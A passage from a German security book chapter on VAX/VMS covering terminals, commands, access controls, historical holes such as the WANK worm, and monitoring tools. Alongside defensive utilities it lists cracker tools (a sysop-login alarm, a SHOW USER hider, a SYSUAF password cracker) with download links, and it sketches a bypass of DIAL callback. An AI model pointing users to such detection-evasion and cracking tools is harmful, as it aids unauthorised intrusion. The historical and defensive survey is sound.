pro Zeile und Zeilen je Bildschirm verändern. Außerdem enthält die Firmware noch kurze
Hilfe-Meldungen, die in der Statuszeile unten am Bildschirm zu sehen sind und z.B. anzeigen, welchen
Drucker Sie benutzen. Maus, Festplatte, Diskettenlaufwerk oder andere Komponenten sind weder
vorhanden noch erforderlich.
Hinsichtlich der Einstellungen für die Datenübertragung haben Sie eine große Auswahl. Sie können z.B.
die Bitzahl verändern (normalerweise 7 oder 8) und auch die Parität (keine, ungerade, gerade). Dadurch
kann das VT220 nicht nur mit VAX-Maschinen kommunizieren, sondern auch mit einer Vielzahl von
Unix-Maschinen. Sie können ein VT220-Terminal z.B. als »Kopf« einer Workstation verwenden, die
sonst keinen Monitor hat. Dazu schließt man das Terminal an den ersten seriellen Port der Workstation
an. (Für die meisten Unix- Versionen muß man das achte Bit weglassen.)
Tip:
VAX/VMS
file:///d|/cool stuff/old/hack/kap20.htm (2 von 14) [19.04.2000 21:15:19]
Für Linux-Hacker: Sie können Ihrem Rechner auch einen Internet-Knoten »hinzufügen«, indem sie ein
solches Terminal benutzen. Dazu schließen Sie das Terminal entweder an COM1 oder COM2 an. Dann
editieren Sie inittab , um eine weitere Instanz von getty an diesem Port zu erzeugen. Damit dies
funktioniert, müssen Sie ein Nullmodem-Kabel verwenden. Außerdem müssen Sie als Emulation VT100
einstellen. Nach dem Reboot des Linux- Rechners wird ein Login-Prompt auf dem VT220 zu sehen sein.
Dort melden Sie sich als irgendein gültiger Benutzer an, und Sie sind fertig. Dies ist sehr wertvoll,
besonders, wenn Sie jemandem die Programmierung oder Navigation des Internet über eine
Befehlszeilen-Schnittstelle (CLI - command line interface) beibringen wollen. Eines ist noch wichtig:
Wenn Sie denselben COM-Port verwenden, an dem normalerweise Ihre Maus angeschlossen ist, müssen
Sie gpm (general purpose mouse support) deaktivieren. Dasselbe gilt für die Konfiguration Ihres
X-Servers.
Diese Terminals waren zwar für die Verwendung mit der VAX vorgesehen, können aber auch als die
preiswerteste Methode für einen Zugang zum Internet verwendet werden. Natürlich benötigen Sie dafür
eine altmodische Wählverbindung (vielleicht in Delphi), aber der Preis ist unschlagbar. Sie können ein
solches Terminal heute für 20 Dollar kaufen. Dazu brauchen Sie noch ein 19.200-Baud-Modem, und das
war's. Auch für den Zugang zu lokalen Mailboxen sind diese Geräte großartig.
Tip:
Interessant ist hierbei, daß ein solches Terminal von sich aus keine Umgebungsvariablen hat. Alle
Umgebungsvariablen werden von der Shell übernommen, die Sie auf dem entfernten Rechner
bekommen.
Mit einem solchen Terminal können Sie sich mit der VAX verbinden. (Beachten Sie bitte, daß ich nur
sehr frühe Ausführungen von VT-Terminals beschrieben habe. Viele spätere Modelle unterstützten
unterschiedliche Farben und Grafik-Modi, die bei den älteren VT100- und VT220-Terminals noch nicht
verfügbar waren. Diese neueren Modelle sind sehr funktionstüchtig, aber sie können bis zu mehrere
hundert Dollar kosten. Gute Beispiele hierfür sind VT330 und VT340.)
Sie können sich aber auch ohne ein solches Terminal mit einer VAX verbinden. Dies geschieht
normalerweise mit Hilfe einer PC-Software, die eine VT100-Terminal-Emulation unterstützt. (Eine
weitere beliebte und kompatible Emulation ist Kermit.)
20.1 VMS
Das VMS-Betriebssystem (Virtual Memory System) ist einzigartig, weist aber dennoch Ähnlichkeiten
mit einigen anderen auf. Das Einloggen funktioniert ähnlich wie bei einem Unix-System. Sie erhalten
einen Login-Prompt (Username:) und einen Paßwort-Prompt. Wenn Sie die korrekten Informationen
eingegeben haben, sehen Sie einen Prompt in Form eines Dollar-Zeichens ($). Außerdem erhalten Sie
eine Reihe von Werten, wenn Sie sich anmelden, darunter Ihren Benutzernamen, Ihre Prozeß-ID und so
weiter.
Einige übliche VMS-Befehle sind in Tabelle 20.1 aufgeführt.
Tabelle 20.1: Übliche VMS-Befehle
VAX/VMS
file:///d|/cool stuff/old/hack/kap20.htm (3 von 14) [19.04.2000 21:15:19]
Befehl Zweck
HELP [args] Ohne Argumente führt dieser Befehl zu dem Prompt Topic?. Dem
HELP-Befehl wird normalerweise der Befehl angefügt, über den Sie etwas
erfahren möchten.
COPY [arg1 arg2] Kopiert ein oder mehrere Dateien in eine andere Datei oder ein Verzeichnis.
DIRECTORY Ähnlich dem DOS-Befehl dir führt dieser Befehl zur Ausgabe des Inhalts
eines Verzeichnisses und der mit den Dateien verbundenen Attribute.
MAIL Ruft die Mail-Schnittstelle für VAX auf. Diese funktioniert ähnlich wie Mail
bei Unix. Wenn Sie eine Nachricht verfassen wollen, werden Sie
aufgefordert, einen Empfänger und einen Betreff einzugeben.
LOOK Das VAX-Äquivalent zum Unix-Befehl ps. LOOK zeigt Ihnen Ihre laufenden
Prozesse.
Tip:
Es gibt eine nützliche Tabelle mit einer Gegenüberstellung von VAX- und Unix-Befehlen, die sich gut
als Kurzreferenz für Unix-Anwender eignet. Sie finden sie unter
http://egret.ma.iup.edu/~whmf/vms_to_unix.html. Es wäre gut, wenn Sie gleich einen Blick darauf
werfen würden, da ich mich in diesem Kapitel noch auf einige dieser Befehle beziehen werde.
VMS hat viele Annehmlichkeiten, die Sie von anderen Betriebssystemen her kennen. Die Befehle sind
nur etwas anders. Die C-Shell bei Unix hat z.B. eine Einrichtung, die zuvor am Prompt eingegebene
Befehle erneut aufruft. Dieser Befehlspuffer wird history genannt. (DOS hat ein ähnliches Modul, das
normalerweise beim Booten geladen wird und DOSkey heißt.) Bei VMS können Sie zuvor eingetippte
Befehle durch (Strg)+(B) zurückrufen.
Weiterhin gibt es Tastenkombinationen zum Stoppen eines Prozesses, Auflisten aller Prozesse,
Wiederaufnahme eines Prozesses, Aufrufen aktueller Benutzerstatistiken und Editieren der aktuellen
Befehlszeile.
Es sind immer noch viele VAX-Server im Internet, und VMS ist noch lange nicht tot. Die neueste
Version heißt OpenVMS. OpenVMS ist für VAX und Alpha-Rechner verfügbar. Alphas sind extrem
schnelle Workstations (derzeit mit Geschwindigkeiten von mehr als 400 MHz), auf denen Windows NT,
OpenVMS, Linux oder Digital UNIX laufen können.
Die Mehrzahl der VAX-Server im Internet sind ältere Modelle. Viele befinden sich in
Universitäts-Bibliotheken und ermöglichen den Benutzern die Suche in elektronischen Katalogen. Aller
Wahrscheinlichkeit nach sind die meisten älteren VAX-Rechner mindestens so sicher wie ihre
Unix-Entsprechungen. Das ist deshalb so, weil man über das VAX/VMS- System und seine Sicherheit so
viel weiß. Wenn es ein Sicherheitsloch gibt, dann nur deswegen, weil der Administrator es übersehen
hat.
VAX/VMS
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20.2 Die Sicherheit von VMS
Sicherheitsaspekte werden von VMS gut unterstützt. Z.B. gibt es eine sehr effektive Zugriffskontrolle.
(Ob diese vom Systemadministrator auch richtig umgesetzt wird, ist allerdings eine andere Frage.) Die
Zugriffskontrolle von VMS ist mindestens so umfassend wie die der Novell-NetWare-Plattform. Hier
sind einige der Werte, die kontrolliert werden können:
Zeit. Sie können sowohl die Wochentage als auch die Stunden bestimmen, an denen ein Benutzer
Zugriff auf einen bestimmten Bereich des Systems erhalten soll. (Die Default- Einstellung erlaubt
dem Benutzer Zugriff zu jeder Zeit, 24 Stunden am Tag und 7 Tage in der Woche.) Diese
Zugriffskontrolle funktioniert ähnlich wie eine Firewall: »Was nicht ausdrücklich erlaubt ist, ist
verboten.«
Modus. Dies ist ein interessantes Feature. Sie können den Modus festlegen, in dem ein Benutzer
sich mit dem System verbinden und interagieren kann. So können Sie entfernte Netzwerk-Logins
auf bestimmte Zeiten beschränken oder sie ganz verhindern. Da dies benutzerabhängig geschehen
kann, ist die Remote-Sicherheit dieses Systems viel stärker als die vieler anderer Plattformen. Sie
können schlecht anfangen, ein System zu knacken, wenn Sie sich nicht einmal einloggen dürfen.
(Gleich befassen wir uns mit einigen Utilities, die von sich entfernt einwählenden Benutzern eine
Rückruf-Verifizierung erzwingen.)
Ressourcen. Sie können die Ressourcen festlegen, die einem Benutzer nach dem Einloggen zur
Verfügung stehen sollen. Das ist nützlich, um den Zugang zu bestimmten Zweigen einer
Verzeichnishierarchie zu unterbinden.
Das ist wirklich nur ein Bruchteil der in VMS verfügbaren Zugriffskontrollen. Es gibt mehrere Ebenen
von Privilegien, und diese können Gruppen zugeordnet werden. Gruppen wiederum können z.B. auf
bestimmte Ressourcen beschränkt sein. Die Zugriffskontrolle ist bei VMS ein sehr komplexes Thema. Es
gibt sehr viele Optionen. Das ist auch der Grund, warum Cracker überhaupt eine halbwegs reelle Chance
haben, ein Sicherheitsloch zu finden. Manchmal kann die Komplexität selbst ein Sicherheitsrisiko
darstellen. Cracker sind sich dessen sehr wohl bewußt:
Der größte Vorteil von VMS ist seine Flexibilität. Der Systemverwalter hat die Wahl
zwischen einer Menge von Sicherheits-Features, die er implementieren oder ignorieren
kann. Zum Glück für die Cracker scheinen alle die wirklich wichtigen zu ignorieren. Es ist
möglich, alle, bestimmte oder keine der erzeugten Dateien zu schützen. Es ist außerdem
möglich, allgemeine oder eingeschränkte Paßwörter zu verwenden oder überhaupt keine
Paßwörter. Zugriffscodes können global oder eingeschränkt sein. Die Log-Datei kann
ignoriert, nur zu Protokollierungszwecken verwendet oder als Tool zur Sicherheitskontrolle
eingesetzt werden.
Wegweiser:
Der obige Paragraph ist ein Auszug aus Lex Luthors »Advanced Hacking VAX's VMS« (Legion of
Doom. 1. Juni 1985). Sie finden ihn online unter http://www.mdc.net/~trent/hackvax.txt.
Dieses Dokument ist einer der maßgeblichen Texte zum Knacken des VMS-Systems. Es stammt von Lex
Luthor (natürlich ein Pseudonym), der 1984 eine Mailbox mit Namen Legion of Doom einrichtete. Aus
einigen der Benutzer und weiteren Personen versammelte Luthor eine Cracker-Gruppe um sich, die
VAX/VMS
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denselben Namen trug. Legion of Doom führten einige der außergewöhnlichsten Cracks aller Zeiten
durch. Sie veröffentlichten viele elektronische Magazine im Internet, die die Kunst des Knackens
vereinfachten, darunter das LoD Technical Journal. Die US-Regierung führte gegen Mitglieder der
Gruppe einen nur vorübergehend erfolgreichen Feldzug. Heute sind die früheren LoD-Mitglieder ein
kleiner Bestandteil der Internet-Folklore.
Wegweiser:
Vielleicht eines der besten im Internet verfügbaren Dokumente über die Sicherung eines VMS-Rechners
wurde weder von einem Cracker noch von einem Hacker geschrieben: »A Practical Exercise in
Securing an OpenVMS System«, von Rob McMillan vom Prentice Centre, The University Of
Queensland. Sie finden es unter http://nsi.org/Library/Compsec/openvms.txt .
Ein VAX- (oder beliebiges VMS-basiertes) System anzugreifen, ist etwas ganz anderes, als ein
Unix-System zu attackieren. Erstens einmal ist das Konzept der Paßwortdatei ein anderes, und auch ihre
Struktur unterscheidet sich von ihrem Unix-Äquivalent. Unix-Systeme haben eine /etc/passwd, die
Benutzernamen, Paßwort, Login-Shell und Gruppe definiert. Das VMS-System dagegen verwendet eine
Datei, die nicht nur diese Werte, sondern viele weitere Variablen definiert:
Jede DEC, auf der VMS läuft, bewahrt die Benutzerprofile in einer Datei namens SYSUAF
(System User Authorization File) auf. Für jeden Benutzer des Systems, auch für den
Systemverwalter, gibt es einen Datensatz, der dem Computer mitteilt, wann und wie ein
Benutzer sich in das System einloggen kann. Er enthält auch Einzelheiten zu
Paßwort-Alterung, Paßwortlängen und allen Möglichkeiten, die einem Benutzer nach dem
Einloggen zur Verfügung stehen.
Wegweiser:
Der obige Absatz ist ein Auszug aus »The Five Minute Guide to VMS Security: Product Review
PC-DEC-Audit« (AudIT Magazine. 1994).
Man darf nicht außer acht lassen, daß diese ausführliche Paßwortdatei auch Nachteile hat. Einer davon ist
dieser: Wenn ein Cracker sich Zugriff auf diese Datei verschafft und sie knackt (mit Hilfe der später in
diesem Kapitel beschriebenen Utilities), ist das ganze System sofort einbruchgefährdet. Die
Wahrscheinlichkeit, daß so etwas passiert, ist allerdings gering.
Der Benutzer wird übrigens durch die Verwendung eines Benutzer-Identifikationscodes (UIC - user
identification code) identifiziert. Das ist eine ganz ähnliche Methode wie GID bei Unix. Der Code
identifiziert den Benutzer und zu welchen Gruppen er gehören darf. Wie Sie sich vielleicht schon
gedacht haben, kommt der UIC aus der zentralen Datenbank:
Wenn Sie sich in ein System einloggen, kopiert das Betriebssystem Ihren UIC von Ihrer UAF
(User Authorization File) in die UAF des Systems (SYSUAF.DAT) und weist sie Ihrem
Prozeß zu. Sie dient für die Dauer des Prozesses als Identifikation.
Wegweiser:
VAX/VMS
file:///d|/cool stuff/old/hack/kap20.htm (6 von 14) [19.04.2000 21:15:20]
Der obige Abschnitt ist ein Auszug aus »OpenVMS Guide to System Security: Contents of a User's
Security Profile. 4.1.1.3 How Your Process Acquires a UIC«, den Sie unter
http://wawona.ethz.ch/OpenVMS_docu/ssb71/6346/ 6346p004.htm#heading_4.1.1 finden.
20.3 Einige alte Sicherheitslöcher
Im folgenden werde ich einige bekannte Sicherheitslöcher aufführen.
20.3.1 Sicherheitsloch Mountd
Wenn innerhalb weniger Sekunden zwei aufeinanderfolgende mount-d-s -Befehle ausgesendet werden,
und bevor ein anderer Host eine solche Anforderung gemacht hat, wird der Anforderung Folge geleistet.
Dies wurde zuerst vom CERT im März 1994 berichtet und gilt für VAX-Rechner, auf denen eine
beliebige Variante von Digital UNIX läuft.
20.3.2 Sicherheitsloch Monitor-Utility
Bei VMS gibt es ein Utility namens Monitor. Der Zweck des Programms ist es, Klassen von
systemweiten Leistungsdaten zu überwachen (entweder von einem bereits laufenden Prozeß oder von
einem zuvor kompilierten Monitor-File). Das Sicherheitsloch war zwar nicht kritisch, aber dennoch
bedenklich:
Autorisierte Benutzer eines Systems können unter bestimmten Voraussetzungen mit Hilfe des
Monitor-Utilitys ihre Privilegien unbefugt ausweiten. Bei einem unautorisierten Zugriff auf
ein System besteht die Gefahr einer Beschädigung der Systemumgebung. Dieses Problem
wird jedoch keinen unbefugten Zugang ermöglichen, da Personen, die versuchen, sich
unbefugt Zugang zu verschaffen, dieser weiterhin von den normalen
VMS-Sicherheitsmechanismen verweigert wird.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus einem CERT-Advisory mit dem Titel »VMS Monitor
Vulnerability«. Sie finden es online unter http://
www.arc.com/database/Security_Bulletins/CERT/CA-92:16.VMS.Monitor.vulnerability.
Dies war ein lokales und nicht besonders kritisches Problem. Für spezifische Informationen über dieses
Loch (und den Fix) sollten Sie sich die entsprechende Defense data Network Advisory besorgen.
Wegweiser:
Die Defense data Network Advisory zu diesem Sicherheitsloch finden Sie im DDN Security Bulletin
9223, ftp://nic.mil/scc/sec-9223.txt.
VAX/VMS
file:///d|/cool stuff/old/hack/kap20.htm (7 von 14) [19.04.2000 21:15:20]
20.3.3 Historische Probleme: Der Wank-Wurm-Vorfall
Im Herbst 1989 tauchte ein Wurm auf, der DecNet-Rechner gefährdete. Auf infizierten Rechnern gab das
Programm auf dem Terminal eine Meldung aus, daß die Maschine »Wanked« sei. Die Meldung gab vor,
von den Worms Against Nuclear Killers (WANK) zu stammen. Im CERT-Advisory wurde folgendes
über den Wank-Wurm geschrieben:
Dieser Wurm betrifft nur DEC-VMS-Systeme und wird über DecNet-Protokolle verbreitet,
nicht über TCP/IP. Wenn ein VMS-System andere Netzwerkverbindungen hatte, war der
Wurm nicht so programmiert, daß er Nutzen aus diesen Verbindungen ziehen konnte. Der
Wurm ist dem Wurm HI.COM (bzw. Father Christmas) aus dem letzten Jahr sehr ähnlich.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus einem CERT-Advisory mit dem Titel »'WANK' Worm On SPAN
Network«. Sie finden es online unter http://
www.arc.com/database/Security_Bulletins/CERT/CA-89:04.dec- net.wank.worm.
In diesem Advisory befindet sich auch eine Analyse des Wurms von R. Kevin Oberman vom
Engineering Department of Lawrence Livermore National Laboratory. Obermans Bericht wurde
offensichtlich in Eile abgefaßt, aber er ist trotzdem recht vollständig. Er berichtete, daß der Wurm nicht
unglaublich komplex sei, aber gefährlich sein könnte, wenn er einen privilegierten Account angreifen
würde. Der Wurm würde in ein System eindringen, prüfen, ob es bereits infiziert ist, und wenn dies nicht
der Fall ist, einige oder alle der folgenden Dinge ausführen:
Mail für bestimmte Accounts deaktivieren
Systempaßwörter mit Hilfe eines Zufallsgenerators ändern und dabei den Systemoperator
aussperren
Das momentane System als Startrampe für Angriffe auf neue Systeme benutzen
Oberman fügte seiner Analyse ein schnell gehacktes Programm bei, das den Wank-Worm aufhalten
würde. Der Quellcode dieses Programms kann immer noch online in den Original- Advisories
eingesehen werden.
Wegweiser:
Das CERT-Advisory finden Sie unter http://www.arc.com/database/
Security_Bulletins/CERT/CA-89:04.decnet.wank.worm.
Was wirklich interessant ist, ist der geringe Grad an Ernsthaftigkeit dieser Advisory. Denken Sie einmal
nach: Es war weniger als ein Jahr her, daß der Morris-Wurm im Internet Wellen geschlagen hatte. Die
bloße Erwähnung eines Wurms konnte in diesen Monaten schon eine Panik auslösen. Seltsamerweise
hielten einige Administratoren diesen Wurm jedoch wegen seines seltsamen Namens für einen Scherz.
Außerdem war der Wank-Wurm für einen großen Teil des Internet nicht von Bedeutung. Da der Wurm
nur diejenigen betraf, die DEC-Protokolle verwendeten (und nicht TCP/IP), war die Anzahl potentieller
Opfer begrenzt. Obwohl diese Zahl im Verhältnis zum gesamten Internet relativ klein war, gab es doch
eine Menge Sites, die DecNet verwendeten.
VAX/VMS
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Die Ankunft des Wurms fiel zeitlich mit Berichten über Demonstranten in Florida
zusammen, die versuchten, den Start eines atomgetriebenen Nutzlast-Shuttles zu verhindern.
Es wird angenommen, daß der Wurm ebenfalls ein Protest gegen den Start war. Der
Wank-Wurm breitete sich gemächlicher aus als der Internet-Wurm; er löste weniger Alarme
aus und erzeugte weniger Hysterie... Eine Methode zur Bekämpfung des Wurms wurde von
Bernard Perrot vom Institut de Physique Nucleaire in Orsay, Frankreich, entwickelt.
Perrots Plan war es, in einer Datei eines Typs, den der Wurm wahrscheinlich angreifen
würde, eine Bombe zu verstecken. Wenn der Wurm dann versuchen würde, Informationen
aus der Datei zu ziehen, würde er selbst angegriffen und zerstört werden.
Wegweiser:
Der obige Text stammt aus einem Artikel von Paul Mungo und Bryan Glough mit dem Titel
»Approaching Zero: The Extraordinary Underworld of Hakkers, Phreakers, Virus Writers, and
Keyboard Criminals«. Sie finden ihn online unter http://www.feist.com/~tqdb/h/aprozero.txt.
20.4 Überwachung und Protokollierung
Die Überwachungsmöglichkeiten in der VMS-Umgebung sind hochentwickelt. Es gibt verschiedene
Methoden, die Überwachung zu implementieren, und die Entscheidung für die eine oder andere ist im
wesentlichen eine Frage des persönlichen Geschmacks. Per Voreinstellung protokolliert VMS alle
Logins und Login-Versuche, Änderungen der Systemprivilegien und so weiter. Die
Default-Konfiguration bietet ein Mindestmaß an Protokollierung.
Dieses Mindestmaß läßt sich bei Bedarf jedoch schnell ausweiten. Der Systemoperator kann spezielle
Zugriffskontrollen für einzelne Dateien oder Verzeichnisse, einen Benutzeraccount oder Prozesse
errichten. Wenn im Zusammenhang mit diesen Zugriffskontrollen eine unerwünschte oder verdächtige
Aktivität auftritt, wird ein Alarm ausgelöst. Der Systemoperator kann die Art dieses Alarms bestimmen.
(Z.B. leiten viele Systemoperatoren Alarmmeldungen an eine bestimmte Konsole um, damit sie jederzeit
eingesehen und geprüft werden können.) Natürlich kann eine schwere Paranoia in einer solchen
Umgebung dazu führen, daß man einiges an Plattenspeicher opfern muß. Z.B. kann ein Systemoperator
das System sogar einen Alarm erzeugen lassen, wenn jemand bloß versucht hat, auf eine Datei
zuzugreifen, für die er keine Berechtigungen hat.
Ein Beispiel dafür wäre, daß ein Benutzer versucht, sich eine Datei anzusehen (oder auflisten zu lassen),
für die er keine Berechtigungen hat. Das wäre das gleiche, als würde bei Unix jedesmal ein Alarm
ausgelöst, wenn ein Shell-Benutzer versucht, auf eine im Eigentum von Root befindliche Datei oder ein
Verzeichnis zuzugreifen. Interessant dabei ist, daß der Alarm als Antwort auf eine Verletzung von gegen
den Benutzer eingestellte Richtlinien erzeugt werden kann, im Gegensatz zu globalen Beschränkungen
für Dateien. Ich bin mir nicht sicher, aber ich glaube, das VMS-Modell ist das sicherere von beiden.
Die Protokollierungsmöglichkeiten von VMS sind recht vielfältig. Sie können fast alles überwachen,
vom Zugriff auf eine Datei bis hin zum Starten eines protokollbasierten Prozesses durch einen Benutzer.
(Sie können sogar protokollieren lassen, wenn Benutzer versuchen, die Zeiteinstellung zu ändern.)
Zusätzlich zu diesen eingebauten Möglichkeiten stehen einige Utilities zur Verfügung (von denen ich
einige später in diesem Kapitel noch ansprechen werde), die Terminal-Sitzungen verfolgen und auf
Inaktivität und anderes unerwünschtes Verhalten überwachen können.
VAX/VMS
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Einige Utilities erleichtern das Knacken der VMS-Plattform oder können verhindern, daß ein Cracker
aufgespürt wird. Wie bei den anderen Systemen auch, sind diese Utilities manchmal sowohl für den
Systemoperator als auch den Cracker von großem Nutzen.
20.4.1 watchdog.com
watchdog.com wurde von einem Cracker namens Bagpuss geschrieben. Der Zweck des Programms ist
simpel: Es beobachtet Benutzer beim An- und Abmelden auf dem Rechner. Es ist ein Frühwarnsystem,
das Sie warnen kann, wenn der Systemoperator (oder ein ähnlich privilegierter Benutzer) sich einloggt.
Wegweiser:
Den Quellcode und eine vollständige Erklärung von watchdog.com finden Sie unter
http://www.wordserf.co.uk/mh/vaxhackpro.html.
20.4.2 Stealth
Stealth wurde ebenfalls von Bagpuss geschrieben. Der Zweck dieses Utilities ist es, zu verhindern, daß
man entdeckt wird, wenn jemand (vielleicht der Systemoperator) den Befehl SHOW USER erteilt.
Dieser Befehl ist der Kombination der Befehle W, WHO und PS bei Unix ziemlich ähnlich. Er
identifiziert die gegenwärtig eingeloggten Benutzer und ihren Status. Stealth verhindert, daß der
Benutzer auf eine solche Anfrage hin sichtbar wird.
Wegweiser:
Den Quellcode für Stealth finden Sie unter http://www.wordserf.co.uk/mh/ vaxhackpro.html.
20.4.3 GUESS_PASSWORD
GUESS_PASSWORD dient zum Knacken der Paßwort-Datei des VMS-Systems. Das Programm
funktioniert ziemlich gut, aber man muß sich fragen, ob es wirklich einen Sinn hat. Es ist heutzutage sehr
unwahrscheinlich, daß ein Systemadministrator die Datei SYSUAF.DAT (in der sich die Paßwörter
befinden) ungeschützt läßt. Wenn ein Cracker eine solche ungeschützte Paßwortdatei finden sollte,
könnte ihm dieses Utility jedenfalls beim Knacken helfen.
Wegweiser:
GUESS_PASSWORD (mit Quellcode) erhalten Sie unter http://www.uniud.it/ftp/vms/uaf.zip .
20.4.4 WATCHER
WATCHER ist ein Utility zum Herumspionieren, das im allgemeinen von Systemadministratoren
verwendet wird. Es dient zum Beobachten von Terminal-Sitzungen. Für die Sicherheit ist dies sehr
hilfreich. WATCHER überwacht, wie lange an einem Terminal keine Aktivität stattgefunden hat. Der
Systemadministrator (oder der Benutzer) kann einen Zeitraum einstellen, nach dem ungenutzte Sitzungen
automatisch beendet werden. (Inaktive Terminal- Sitzungen sind ein Sicherheitsrisiko. Cracker
beobachten Accounts, die über längere Zeiträume hinweg inaktiv sind. Diese Accounts sind beliebte
VAX/VMS
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Angriffspunkte.)
Wegweiser:
WATCHER finden Sie unter ftp://ftp.wku.edu/madgoat/WATCHER.zip.
20.4.5 Checkpass
Checkpass ist ein Tool, das die relative Stärke oder Schwäche eines bestimmten Paßworts in der Datei
SYSUAF.DAT untersucht. Es ist für Version 5.4 und höher geeignet.
Wegweiser:
Checkpass finden Sie unter ftp://www.decus.org/pub/lib/vs0127/checkpass/check.zip .
20.4.6 Crypt
Crypt ist ein DES-Verschlüsselungsmodul für das VMS-Betriebssystem. Interessanterweise unterstützt es
auch Unix und DOS. Es wurde (wie auch das vorhergehende Utility) von M. Edward Nieland entwickelt,
der diese Tools hauptsächlich in C und Fortran geschrieben hat.
Wegweiser:
Das CRYPT-Utility finden Sie unter ftp://www.decus.org/pub/lib/vs0127/ crypt/crypt.zip.
20.4.7 DIAL
Das Rückrufmodul DIAL soll verhindern, daß sich unautorisierte entfernte Benutzer Zugang zu Ihrem
System verschaffen können. In der Dokumentation von DIAL ist dies so erklärt:
Nur zuvor autorisierte Benutzer können von den Telefonnummern ihres Arbeitsplatzes aus
über DIAL Zugang zu dem System erlangen. Sobald der Zugriff gewährt wurde, wird die
Verbindung unterbrochen und der Benutzer unter seiner autorisierten Telefonnummer
zurückgerufen. Dies ermöglicht dem Benutzer über öffentliche Telefonleitungen kostenlosen
Zugang zu seinem Account.
Das System funktioniert mit Hilfe einer Datei, die alle gültigen Benutzer und ihre Telefonnummern
enthält. (Dies könnte eine Methode sein, die Sicherheit zu durchbrechen. Wenn Sie Zugriff auf diese
Datei bekommen, können Sie DIAL umgehen.) DIAL wurde von Roger Talkov von Emulex in C verfaßt.
Wegweiser:
DIAL finden Sie unter ftp://www.decus.org/pub/lib/v00149/dial.zip.
VAX/VMS
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20.4.8 CALLBACK.EXE
CALLBACK.EXE wurde von Robert Eden von Texas Utilities in Fortran geschrieben. Es hat im
wesentlichen die gleiche Funktion wie DIAL.
Wegweiser:
CALLBACK.EXE finden Sie unter http://www.openvms.digital.com/cd/ CALLBACK/CALLBACK.EXE.
20.4.9 TCPFILTER (G. Gerard)
TCPFILTER ist ein Utility, das ausgehende Verbindungen einschränkt. Das ist in der Dokumentation
wie folgt beschrieben:
...ermöglicht das Filtern von ausgehenden UCX-TCP/IP-Verbindungen. Jeder Versuch eines
ausgehenden Anrufs wird mittels einer Adreßtabelle verifiziert und dann erlaubt oder
untersagt. Die Validierung des Anrufs kann durch zwei unterschiedliche Mechanismen
erfolgen: mit Zugriffskontroll-Listen (ACL) oder mit Image-Namen. Die Verwendung von
Zugriffskontroll-Listen ermöglicht die Kontrolle jedes Benutzers über einen Bezeichner.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus einer Datei mit Namen TCPFILTER.DOC von G. Gerard. Sie
finden sie online unter http://www.openvms.digital.com/cd/TCPFILTER/.
Ich sollte vielleicht darauf hinweisen, daß mit dem Begriff Anruf ausgehende
TCP/IP-Verbindungsanforderungen gemeint sind, d.h. Sie können Verbindungsanforderungen auf
bestimmte IP-Adressen beschränken, basierend auf Benutzer-informationen in der Zugriffskontroll-Liste.
So könnten Sie z.B. jeden Zugang zu externen Hacker- oder Cracker-Mailboxen unterbinden.
Wegweiser:
TCPFILTER finden Sie unter http://www.openvms.digital.com/cd/TCPFILTER/TCP.COM .
20.5 Andere Zeiten
Die VAX/VMS-Kombination war einmal sehr beliebt, und, wie ich bereits sagte, wird OpenVMS immer
noch gerne verwendet. Dennoch haben Veränderungen in der Computer-Industrie und dem öffentlichen
Bedarf sich auf die Stellung von VMS im Internet ausgewirkt. Zusammen mit Digitals Engagement mit
Microsoft, eine geeignete Architektur für Windows NT zu entwickeln, haben diese Änderungen dazu
geführt, daß die Verwendung von VMS zurückgegangen ist. Das ist seltsam, da heute der Quellcode von
VMS verfügbar ist. Wie ich anderswo in diesem Buch bereits erwähnt habe, hat man bei einem
Betriebssystem, dessen Quellcode verfügbar ist, sehr gute Möglichkeiten zu einer Feineinstellung der
Sicherheitsvorkehrungen.
Da auf Digital-Alpha-Rechnern jetzt sowohl Microsoft Windows NT als auch Digital UNIX laufen, wird
VMS wahrscheinlich in den Hintergrund rücken. Dies gilt besonders im Hinblick auf Digital UNIX, da
VAX/VMS
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dies ein 64-Bit-System ist. Stellen Sie sich einmal ein 64-Bit- System vor, das mit 600 MHz läuft. Das ist
meiner Meinung nach die leistungsfähigste Konfiguration, die dem durchschnittlichen Benutzer
momentan zur Verfügung steht. Ein solcher Rechner (mit mindestens 64 Mbyte RAM ausgestattet) ist
meines Erachtens dem Pentium oder dem MMX weit überlegen. Die Tage des alten VAX/VMS sind
wohl gezählt.
Der Cracker von heute weiß wahrscheinlich nur wenig über diese Systeme. Unix - und später
Windows NT - wurde mehr Aufmerksamkeit zuteil. Wenn ich jemanden damit beauftragen wollte, einen
VAX zu knacken, würde ich nach jemandem in der Altersklasse Mitte dreißig oder älter suchen.
Sicherlich hat der Aufstieg des PC dazu beigetragen, daß heute so wenige etwas über die
VMS-Sicherheit wissen. Die meisten jungen Leute arbeiten heutzutage mit PCs oder
Macintosh-Rechnern. Deshalb kommt man kaum noch mit VAX in Berührung, außer vielleicht bei
Bibliotheksservern und anderen Datenbank-Rechnern.
Unterm Strich ist VMS eine interessante, langlebige und relativ sichere Plattform. Außerdem hat DEC
über die Sicherheitsschwachstellen von VAX/VMS immer ziemliches Stillschweigen bewahrt. Wenn Sie
alle bekannten Advisories zu VAX/VMS einmal durchgehen, werden Sie sehen, daß DEC sich immer
geweigert hat, Informationen bekanntzugeben, die auch für Cracker nützlich sein könnten. Das war eine
schlaue Vorgehensweise, die es von jeher schwer gemacht hat, VAX-Server zu knacken. Wenn der
Systemadministrator von VAX auf Draht war, hatte ein Cracker nicht viel zu lachen.
20.6 Zusammenfassung
VAX/VMS ist heute ein recht antiquiertes System. Aber es ist noch nicht ganz aus dem Rennen.
OpenVMS hat sehr viel zu bieten. Wenn Sie eine Karriere im Bereich der Internet- Sicherheit anstreben,
sollten Sie zumindest einen Einsteigerkurs zu VMS besuchen. Wenn Sie wie ich das direkte
Ausprobieren bevorzugen, legen Sie sich eine gebrauchte VAX zu und versuchen Sie, diese zu knacken.
Solche Systeme werden heute praktisch umsonst in misc.forsale.computers.workstation angeboten.
Einige Verkäufer haben sogar noch die Original-Installationsmedien.
Insgesamt ist die Sicherheit von VAX meiner Meinung nach fortschrittlich und sogar ein bißchen
elegant. In vielen Ländern der Welt ist die VAX immer noch sehr beliebt. Sich mit der VAX-Sicherheit
zu befassen, ist sicher keine Zeitverschwendung.
20.7 Informationsquellen
VAX Security: Protecting the System and the Data. Sandler und Badgett. John Wiley & Sons. ISBN:
0-471-51507-8.
